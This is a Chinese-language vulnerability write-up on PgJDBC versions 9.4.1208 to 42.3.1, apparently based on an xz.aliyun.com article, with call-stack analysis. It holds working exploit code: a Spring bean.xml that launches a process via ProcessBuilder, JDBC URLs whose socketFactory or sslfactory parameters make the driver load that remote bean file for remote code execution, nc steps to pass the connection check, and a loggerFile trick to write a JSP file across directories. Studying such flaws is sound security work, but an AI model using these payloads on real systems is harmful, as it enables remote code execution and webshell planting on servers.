参考:https://xz.aliyun.com/t/11812
依赖
影响范围:
9.4.1208 <=PgJDBC <42.2.25
42.3.0 <=PgJDBC < 42.3.2
<dependency> <groupId>org.postgresql</groupId> <artifactId>postgresql</artifactId> <version>42.3.1</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context-support</artifactId> <version>5.3.23</version> </dependency>
|
ClassPathXmlApplicationContext
首先要知道这个东西可以加载远程配置文件,创建bean。
运行这一条语句即可弹calc。
new ClassPathXmlApplicationContext("http://127.0.0.1:8787/bean.xml");
|
bean.xml
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:p="http://www.springframework.org/schema/p" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <!-- 普通方式创建bean--> <bean id="exec" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>calc</value> </list> </constructor-arg> </bean> </beans>
|
socketFactory
public static void main(String[] args) throws SQLException { String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext"; String socketFactoryArg = "http://127.0.0.1:8787/bean.xml"; String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory="+socketFactoryClass+ "&socketFactoryArg="+socketFactoryArg; Connection connection = DriverManager.getConnection(jdbcUrl);
}
|
调用栈
openConnection之前的全部方法,大概看了下,都是初始化。
在openConnectionImpl中,一定会进入getSocketFactory方法,没有其他限制。
在getSocketFactory中,若不指定socketFactory,则用Default。若手动指定则会去初始化对象。
那么指定socketFactory为ClassPathXmlApplicationContext,并且设置好参数,即可加载远程配置文件rce。
sslfactory
猜测sink点还是ObjectFactory#instantiate,右键,find usage 然后逐层往上找。
SocketFactoryFactory#getSslSocketFactory MakeSSL#convert ConnectionFactoryImpl#enableSSL ConnectionFactoryImpl#tryConnect ConnectionFactoryImpl#openConnectionImpl // 这就是入口
|
分析其中的流程后,最终到达这里:
这里只需要让url参数里的sslfactory为上面的ClassPathXmlApplicationContext
,让sslfactoryarg为http://127.0.0.1:8787/bean.xml
即可。
调用栈:
exp
public static void main(String[] args) throws SQLException { String sslfactory = "org.springframework.context.support.ClassPathXmlApplicationContext"; String sslfactoryarg = "http://127.0.0.1:8787/bean.xml"; String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?sslfactory="+sslfactory+"&sslfactoryarg="+sslfactoryarg; Connection connection = DriverManager.getConnection(jdbcUrl); }
|
注意点
在ConnectionFactoryImpl#tryConnect
中:
他会向pg服务器建立tcp连接,只是建立而已,所以nc监听一下保证这一行不连接超时就行。
在ConnectionFactoryImpl#enableSSL
中,会向pg地址发送几个数据,并获取响应,根据响应的不同进入不同的分支。
这里只要手动向nc输入一个S字符就可以了。
然后就进入了convert,最后是getSslSocketFactory。
loggerFile
可以跨目录写文件
public static void main(String[] args) throws SQLException { String content = "<%java code%>"; String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?loggerLevel=DEBUG&loggerFile=bbbb.txt&"+content; Connection connection = DriverManager.getConnection(jdbcUrl); }
|